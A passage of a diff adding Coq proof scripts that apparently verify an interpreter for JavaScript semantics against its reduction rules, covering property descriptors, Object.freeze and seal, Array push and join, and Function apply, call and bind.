+        simpls. applys* red_spec_to_descriptor_3c. 
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+        }
+    - run red_spec_to_descriptor_2b_true using run_object_get_correct.
+      simpls. applys* red_spec_to_descriptor_2c.
+      run red_spec_to_descriptor_3a using object_has_prop_correct.
+      cases_if*; destruct b; inverts H.
+      * apply red_spec_to_descriptor_3b_false.
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+        }
+      * run red_spec_to_descriptor_3b_true using run_object_get_correct.
+        simpls. applys* red_spec_to_descriptor_3c. 
+        run red_spec_to_descriptor_4a using object_has_prop_correct.
+        { 
+          cases_if*; destruct b; inverts H.
+          + apply red_spec_to_descriptor_4b_false.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+          + run red_spec_to_descriptor_4b_true using run_object_get_correct.
+            simpls. applys* red_spec_to_descriptor_4c.
+            run red_spec_to_descriptor_5a using object_has_prop_correct.
+            cases_if*; destruct b; inverts H.
+            - apply red_spec_to_descriptor_5b_false.
+              run red_spec_to_descriptor_6a using object_has_prop_correct.
+              cases_if*; destruct b; inverts H.
+              * apply red_spec_to_descriptor_6b_false.
+                { 
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+              * run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                {
+                  cases_if*.
+                  rewrite if_spec_throw_result in *.
+                  applys* red_spec_to_descriptor_6c_error.
+                  applys* throw_result_run_error_correct.
+                  simpls. applys* red_spec_to_descriptor_6c_ok.
+                  cases_if*. 
+                  + applys~ red_spec_to_descriptor_7_error.
+                    applys* throw_result_run_error_correct.
+                  + unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+            - run red_spec_to_descriptor_5b_true using run_object_get_correct.
+              cases_if*.
+              * rewrite if_spec_throw_result in *.
+                applys* red_spec_to_descriptor_5c_error.
+                applys* throw_result_run_error_correct.
+              * simpls. applys* red_spec_to_descriptor_5c_ok.
+                run red_spec_to_descriptor_6a using object_has_prop_correct.
+                {
+                  cases_if*; destruct b; inverts H.
+                  + apply red_spec_to_descriptor_6b_false.
+                    cases_if*. 
+                    - applys~ red_spec_to_descriptor_7_error.
+                      applys* throw_result_run_error_correct.
+                    - unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                  + run red_spec_to_descriptor_6b_true using run_object_get_correct.
+                    cases_if*.
+                    - rewrite if_spec_throw_result in *.
+                      applys* red_spec_to_descriptor_6c_error.
+                      applys* throw_result_run_error_correct.
+                    - simpls. applys* red_spec_to_descriptor_6c_ok.
+                      cases_if*. 
+                      * applys~ red_spec_to_descriptor_7_error.
+                        applys* throw_result_run_error_correct.
+                      * unfolds in HR. inverts HR. applys~ red_spec_to_descriptor_7_ok. 
+                }
+         }
+Admitted. (* Faster *)
+
+
+Lemma run_object_freeze_correct : forall runs S C l xs o,
+  runs_type_correct runs ->
+  run_object_freeze runs S C l xs = result_some (specret_out o) ->
+  red_expr S C (spec_call_object_freeze_2 l xs) o.
+Proof.
+  introv IH HR. gen S. induction xs; introv HR; unfolds in HR.
+   run. apply~ red_spec_call_object_freeze_2_nil.
+    apply~ run_object_heap_set_extensible_correct.
+   run red_spec_call_object_freeze_2_cons.
+    destruct a0 as [|A]; tryfalse.
+    applys~ red_spec_call_object_freeze_3.
+    run red_spec_call_object_freeze_4.
+     clear. rew_refl. destruct A as [()|()]; simpls; repeat cases_if;
+       simpls; fold_bool; rew_refl in *; intuit; tryfalse; repeat (fequals); tryfalse*.
+     applys~ red_spec_call_object_freeze_5.
+Qed.
+
+Lemma run_object_is_sealed_correct : forall runs S C l xs o,
+  runs_type_correct runs ->
+  run_object_is_sealed runs S C l xs = result_some (specret_out o) ->
+  red_expr S C (spec_call_object_is_sealed_2 l xs) o.
+Proof.
+  introv IH HR. gen S. induction xs; introv HR; unfolds in HR.
+   run. apply~ red_spec_call_object_is_sealed_2_nil.
+    apply~ run_object_method_correct.
+   run red_spec_call_object_is_sealed_2_cons.
+    destruct a0 as [|A]; tryfalse. cases_if as CF.
+     inverts HR. applys~ red_spec_call_object_is_sealed_3_prop_configurable.
+     applys~ red_spec_call_object_is_sealed_3_prop_not_configurable.
+Qed.
+
+Lemma run_object_is_frozen_correct : forall runs S C l xs o,
+  runs_type_correct runs ->
+  run_object_is_frozen runs S C l xs = result_some (specret_out o) ->
+  red_expr S C (spec_call_object_is_frozen_2 l xs) o.
+Proof.
+  introv IH HR. gen S o. induction xs; introv HR; unfolds in HR.
+   run. apply~ red_spec_call_object_is_frozen_2_nil.
+    apply~ run_object_method_correct.
+   run red_spec_call_object_is_frozen_2_cons. let_name.
+   asserts CC: (forall A o, check_configurable A = result_some (specret_out o) ->
+       red_expr S1 C (spec_call_object_is_frozen_5 l xs A) o).
+     rewrite EQcheck_configurable. clear - IHxs. introv HR. cases_if as AC.
+      inverts HR. apply~ red_spec_call_object_is_frozen_5_prop_configurable.
+      apply~ red_spec_call_object_is_frozen_5_prop_not_configurable.
+    clear EQcheck_configurable. destruct a0 as [|[Ad|Aa]].
+     discriminate.
+     apply red_spec_call_object_is_frozen_3_desc_is_data; simpls~. cases_if as W.
+      inverts HR. applys~ red_spec_call_object_is_frozen_4_prop_is_writable.
+      apply~ red_spec_call_object_is_frozen_4_prop_is_not_writable.
+      apply~ red_spec_call_object_is_frozen_3_desc_is_not_data.
+Qed.
+
+Lemma run_object_seal_correct : forall runs S C l xs o,
+  runs_type_correct runs ->
+  run_object_seal runs S C l xs = result_some (specret_out o) ->
+  red_expr S C (spec_call_object_seal_2 l xs) o.
+Proof.
+  introv IH HR. gen o S. induction xs; introv HR; unfolds in HR.
+   run. apply~ red_spec_call_object_seal_2_nil.
+    apply~ run_object_heap_set_extensible_correct.
+   run red_spec_call_object_seal_2_cons.
+    destruct a0 as [|A]; tryfalse.
+    run red_spec_call_object_seal_3.
+      clear. repeat cases_if~. destruct~ A as [()|()].
+    applys~ red_spec_call_object_seal_4.
+Qed.
+
+Lemma run_function_proto_apply_get_args_correct : forall runs S C array (index n : int) y,
+  runs_type_correct runs ->
+  run_get_args_for_apply runs S C array index n = result_some y ->
+  red_spec S C (spec_function_proto_apply_get_args array index n) y.
+Proof.
+  introv IH HR; unfolds run_get_args_for_apply. cases_if*.
+  + run~ red_spec_function_apply_get_args_true.
+    run red_spec_function_apply_get_args_1 using run_object_get_correct.
+    let_name; subst.
+    run red_spec_function_apply_get_args_2 using runs_type_correct_get_args_for_apply.
+    apply red_spec_function_apply_get_args_3.
+  + inverts HR. applys~ red_spec_function_apply_get_args_false.
+Qed.
+
+Lemma push_correct : forall S S' C l args a o runs,
+  runs_type_correct runs ->
+  push runs S' C l args a = result_some (specret_out o) ->
+  red_expr S C (spec_call_array_proto_push_3 l args (specret_val S' a)) o.
+Proof.
+  introv IH HR. 
+  apply red_spec_call_array_proto_push_3. 
+  gen a o S S' C l runs. inductions args; intros.
+  + simpls; let_name; subst. 
+    apply red_spec_call_array_proto_push_4_empty.
+    run red_spec_call_array_proto_push_5.
+    apply red_spec_call_array_proto_push_6.
+  + unfold push in HR. unfolds let_binding. (* Why doesn't let_name work here? *)
+    apply red_spec_call_array_proto_push_4_nonempty. 
+    run red_spec_call_array_proto_push_4_nonempty_1. 
+    run red_spec_call_array_proto_push_4_nonempty_2. 
+    apply red_spec_call_array_proto_push_4_nonempty_3. 
+    applys* IHargs.
+Qed.
+
+Lemma vtsfj_correct : forall runs S C l index sR,
+  runs_type_correct runs ->
+  valueToStringForJoin runs S C l index = result_some sR ->
+  red_spec S C (spec_call_array_proto_join_vtsfj l index) sR.
+Proof.
+  introv IH HR. unfolds in HR.
+  run red_spec_call_array_proto_join_vtsfj. 
+  run red_spec_call_array_proto_join_vtsfj_1 using run_object_get_correct.
+  destruct v as [p | loc].
+  + destruct p; try solve [inverts HR; applys* red_spec_call_array_proto_join_vtsfj_2_undef_null];
+    run* red_spec_call_array_proto_join_vtsfj_2_other; try solve [intuition; inverts H0]; 
+    applys* red_spec_call_array_proto_join_vtsfj_3.
+  + run* red_spec_call_array_proto_join_vtsfj_2_other; try solve [intuition; inverts H0]; 
+    applys* red_spec_call_array_proto_join_vtsfj_3.
+Qed.
+
+Lemma run_array_join_elements_correct : forall runs S C l k length sep sR o,
+  runs_type_correct runs -> 
+  run_array_join_elements runs S C l k length sep sR = o ->
+  red_expr S C (spec_call_array_proto_join_elements l k length sep sR) o.
+Proof.
+  introv IH HR. unfolds in HR. cases_if*.
+  + repeat let_name; subst.
+    applys* red_spec_call_array_proto_join_elements_continue.
+    run* red_spec_call_array_proto_join_elements_1 using vtsfj_correct. 
+    let_name; subst.
+    apply red_spec_call_array_proto_join_elements_2.
+    applys* runs_type_correct_array_join_elements.
+  + inverts HR. applys* red_spec_call_array_proto_join_elements_exit.
+Qed.
+
+Lemma run_call_prealloc_correct : forall runs S C B vthis args o,
+  runs_type_correct runs ->
+  run_call_prealloc runs S C B vthis args = o ->
+  red_expr S C (spec_call_prealloc B vthis args) o.
+Proof.
+  introv IH HR. unfolds in HR.
+  destruct B.
+  (* prealloc_global *)
+  discriminate.
+  (* prealloc_global_eval *)
+  discriminate.
+  (* prealloc_global_parse_int *)
+  discriminate.
+  (* prealloc_global_parse_float *)
+  discriminate.
+  (* prealloc_global_is_finite *)
+  let_name. run red_spec_call_global_is_finite.
+    substs. apply~ get_arg_correct_0.
+  applys red_spec_call_global_is_finite_1.
+  cases_if; fold_bool; rew_refl~.
+  (* prealloc_global_is_nan *)
+  let_name. run red_spec_call_global_is_nan.
+    substs. apply~ get_arg_correct_0.
+  applys red_spec_call_global_is_nan_1.
+  cases_if; fold_bool; rew_refl~.
+  (* prealloc_global_decode_uri *)
+  discriminate.
+  (* prealloc_global_decode_uri_component *)
+  discriminate.
+  (* prealloc_global_encode_uri *)
+  discriminate.
+  (* prealloc_global_encode_uri_component *)
+  discriminate.
+  (* prealloc_object *)
+  let_name. subst.
+  applys* red_spec_call_object_call.
+    applys* get_arg_correct_0.
+  destruct (get_arg 0 args) as [p | l].
+  destruct p.
+  applys* red_spec_call_object_call_1_null_or_undef.
+  apply run_construct_prealloc_correct in HR; auto.  
+  applys* red_spec_call_object_call_1_null_or_undef.
+  apply run_construct_prealloc_correct in HR; auto.  
+  applys* red_spec_call_object_call_1_other.
+  splits; discriminate.
+  applys~ to_object_correct.
+  applys* red_spec_call_object_call_1_other.
+  splits; discriminate.
+  applys~ to_object_correct.
+  applys* red_spec_call_object_call_1_other.
+  splits; discriminate.
+  applys~ to_object_correct.
+  applys* red_spec_call_object_call_1_other.
+  splits; discriminate.
+  applys~ to_object_correct.  
+  (* prealloc_object_get_proto_of *)
+  let_name. apply~ red_spec_call_object_get_proto_of.
+    substs. apply* get_arg_correct_0.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_get_proto_of_1_not_object.
+    apply* run_error_correct.
+   run. apply~ red_spec_call_object_get_proto_of_1_object.
+    apply* run_object_method_correct.
+  (* prealloc_object_get_own_prop_descriptor *)
+  let_name. apply~ red_spec_call_object_get_own_prop_descriptor.
+    apply* get_arg_correct_1.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_get_own_prop_descriptor_1_not_object.
+     destruct p; discriminate.
+    apply* run_error_correct.
+   run red_spec_call_object_get_own_prop_descriptor_1_object.
+    run red_spec_call_object_get_own_prop_descriptor_2.
+    apply* from_prop_descriptor_correct.
+  (* prealloc_object_get_own_prop_name *)
+  discriminate.
+  (* prealloc_object_create *)
+  discriminate.
+  (* prealloc_object_define_prop *)
+  let_name. let_name. let_name.
+  apply~ red_spec_call_object_object_define_prop.
+    apply* get_arg_correct_2.
+  rewrite <- EQo0 in *. rewrite <- EQp in *. rewrite <- EQattr in *.
+  destruct o0.
+   apply red_spec_call_object_object_define_prop_1_not_object.
+     destruct p0; discriminate.
+    apply* run_error_correct.
+   run red_spec_call_object_object_define_prop_1_object.
+    run red_spec_call_object_object_define_prop_2.
+      apply* run_to_descriptor_correct.
+    run red_spec_call_object_object_define_prop_3.
+    apply* red_spec_call_object_object_define_prop_4.
+  (* prealloc_object_define_props *)
+  discriminate.
+  (* prealloc_object_seal *)
+  let_name. apply~ red_spec_call_object_seal.
+    apply* get_arg_correct_0.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_seal_1_not_object.
+     destruct p; discriminate.
+    apply* run_error_correct.
+   run. forwards~ B: @pick_option_correct E.
+    applys~ red_spec_call_object_seal_1_object B.
+    applys~ run_object_seal_correct HR.
+  (* prealloc_object_freeze *)
+  let_name. apply~ red_spec_call_object_freeze.
+    apply* get_arg_correct_0.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_freeze_1_not_object.
+     destruct p; discriminate.
+    apply* run_error_correct.
+   run. forwards~ B: @pick_option_correct E.
+    applys~ red_spec_call_object_freeze_1_object B.
+    applys~ run_object_freeze_correct HR.
+  (* prealloc_object_prevent_extensions *)
+  let_name. apply~ red_spec_call_object_prevent_extensions.
+    apply* get_arg_correct_0.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_prevent_extensions_not_object.
+     destruct p; discriminate.
+    apply* run_error_correct.
+   run. forwards~ B: @pick_option_correct E.
+    applys~ red_spec_call_object_prevent_extensions_object B.
+  (* prealloc_object_is_sealed *)
+  let_name. apply~ red_spec_call_object_is_sealed.
+    apply* get_arg_correct_0.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_is_sealed_1_not_object.
+     destruct p; discriminate.
+    apply* run_error_correct.
+   run. forwards~ B: @pick_option_correct E.
+    applys~ red_spec_call_object_is_sealed_1_object B.
+    applys~ run_object_is_sealed_correct HR.
+  (* prealloc_object_is_frozen *)
+  let_name. apply~ red_spec_call_object_is_frozen.
+    apply* get_arg_correct_0.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_is_frozen_1_not_object.
+     destruct p; discriminate.
+    apply* run_error_correct.
+   run. forwards~ B: @pick_option_correct E.
+    applys~ red_spec_call_object_is_frozen_1_object B.
+    applys~ run_object_is_frozen_correct HR.
+  (* prealloc_object_is_extensible *)
+  let_name. apply~ red_spec_call_object_is_extensible.
+    apply* get_arg_correct_0.
+  rewrite <- EQv in *. destruct v.
+   apply red_spec_call_object_is_extensible_1_not_object.
+     destruct p; discriminate.
+    apply* run_error_correct.
+   run. apply~ red_spec_call_object_is_extensible_1_object.
+    apply~ run_object_method_correct.
+  (* prealloc_object_keys *)
+  discriminate.
+  (* prealloc_object_keys_call *)
+  discriminate.
+  (* prealloc_object_proto *)
+  discriminate.
+  (* prealloc_object_proto_to_string *)
+  apply red_spec_call_object_proto_to_string.
+  destruct vthis as [p | l]; [destruct p | ].
+  inverts HR. apply red_spec_call_object_proto_to_string_1_undef.
+  inverts HR. apply red_spec_call_object_proto_to_string_1_null.
+  run red_spec_call_object_proto_to_string_1_other using to_object_correct. rew_logic; splits; discriminate.
+  run. apply run_object_method_correct in E.
+  applys* red_spec_call_object_proto_to_string_2.
+  run red_spec_call_object_proto_to_string_1_other using to_object_correct. rew_logic; splits; discriminate.
+  run. apply run_object_method_correct in E.
+  applys* red_spec_call_object_proto_to_string_2.
+  run red_spec_call_object_proto_to_string_1_other using to_object_correct. rew_logic; splits; discriminate.
+  run. apply run_object_method_correct in E.
+  applys* red_spec_call_object_proto_to_string_2.
+  run red_spec_call_object_proto_to_string_1_other using to_object_correct. rew_logic. splits; discriminate.
+  run. apply run_object_method_correct in E.
+  applys* red_spec_call_object_proto_to_string_2.
+  (* prealloc_object_proto_value_of *)
+  apply~ red_spec_call_object_proto_value_of.
+  apply~ to_object_correct.
+  (* prealloc_object_proto_has_own_prop *)
+  let_name. run red_spec_call_object_proto_has_own_prop.
+    substs. apply~ get_arg_correct_0.
+  run red_spec_call_object_proto_has_own_prop_1 using to_object_correct.
+  run red_spec_call_object_proto_has_own_prop_2.
+  destruct a. (* LTAC ARTHUR *)
+   inverts HR. apply~ red_spec_call_object_proto_has_own_prop_3_undef.
+   inverts HR. apply~ red_spec_call_object_proto_has_own_prop_3_not_undef.
+  (* prealloc_object_proto_is_prototype_of *)
+  let_name. destruct v as [p | l].
+  inverts HR. applys* red_spec_call_object_proto_is_prototype_of_not_object.
+  applys* get_arg_correct_0.
+  applys* red_spec_call_object_proto_is_prototype_of_1_not_object. 
+  rewrite~ <- EQv. 
+  applys* red_spec_call_object_proto_is_prototype_of_not_object. 
+  apply get_arg_correct_0.
+  rewrite <- EQv. run red_spec_call_object_proto_is_prototype_of_1_object using to_object_correct.
+  apply red_spec_call_object_proto_is_prototype_of_2.
+  applys* runs_type_correct_object_proto_is_prototype_of.
+  (* prealloc_object_proto_prop_is_enumerable *)
+  let_name. 
+  applys* red_spec_call_object_proto_prop_is_enumerable.
+  apply get_arg_correct_0. subst.
+  run red_spec_call_object_proto_prop_is_enumerable_1.
+  run red_spec_call_object_proto_prop_is_enumerable_2 using to_object_correct.
+  run red_spec_call_object_proto_prop_is_enumerable_3.
+  destruct a; inverts HR.
+  apply red_spec_call_object_proto_prop_is_enumerable_4_undef.
+  applys* red_spec_call_object_proto_prop_is_enumerable_4_not_undef.
+  (* prealloc_function *)
+  discriminate. (* LATER *)
+  (* prealloc_function_proto *)
+  inverts HR. apply red_spec_call_function_proto_invoked.
+
+  (* prealloc_function_proto_to_string *)
+  cases_if*. applys* red_spec_function_proto_to_string_not_callable.
+
+  (* prealloc_function_proto_apply *)
+  repeat let_name.
+  cases_if*; [ | applys* red_spec_function_apply_1].
+  destruct vthis as [p | func]; [inverts i; inverts H | ]. 
+  applys* red_spec_function_apply_1_2; [apply get_arg_correct_1 | substs].
+  destruct (get_arg 1 args) as [p | array].
+  destruct p;
+    try solve [apply runs_type_correct_call in HR; auto;
+               applys* red_spec_function_apply_2];
+    try solve [apply red_spec_function_apply_3 with (array := func); [splits; discriminate | applys* run_error_correct]].
+  run~ red_spec_function_apply_4 using run_object_get_correct.
+  run red_spec_function_apply_5.
+  run red_spec_function_apply_6 using run_function_proto_apply_get_args_correct. 
+  apply red_spec_function_apply_7. applys* runs_type_correct_call.
+
+  (* prealloc_function_proto_call *)
+  cases_if*; [ | applys* red_spec_call_function_not_callable].
+  destruct vthis as [p | l]; [inverts i; inverts H |].
+  remember (get_arg_first_and_rest args) as gargs; destruct gargs.
+  applys* red_spec_call_function_callable.
+  rewrite* <- get_arg_first_and_rest_correct.
+  applys* runs_type_correct_call.
+
+  (* prealloc_function_proto_bind *)
+  cases_if*; [ | applys* red_spec_function_bind_1].
+  destruct vthis as [p | this]; [inverts HR | ].
+  remember (get_arg_first_and_rest args) as gargs; destruct gargs as (thisArg & A).
+  applys* red_spec_function_bind_2.
+  rewrite* <- get_arg_first_and_rest_correct.
+  repeat let_simpl; 
+  match goal with H: context [object_alloc ?s ?o] |- _ => sets_eq X: (object_alloc s o) end;
+  destruct X as (l & S').  
+  applys* red_spec_function_bind_3.
+  let_name. subst. run red_spec_function_bind_4.
+  run. cases_if*; subst; apply run_object_method_correct in E.
+  applys* red_spec_function_bind_length_true. 
+  run red_spec_function_bind_length_1 using run_object_get_correct.
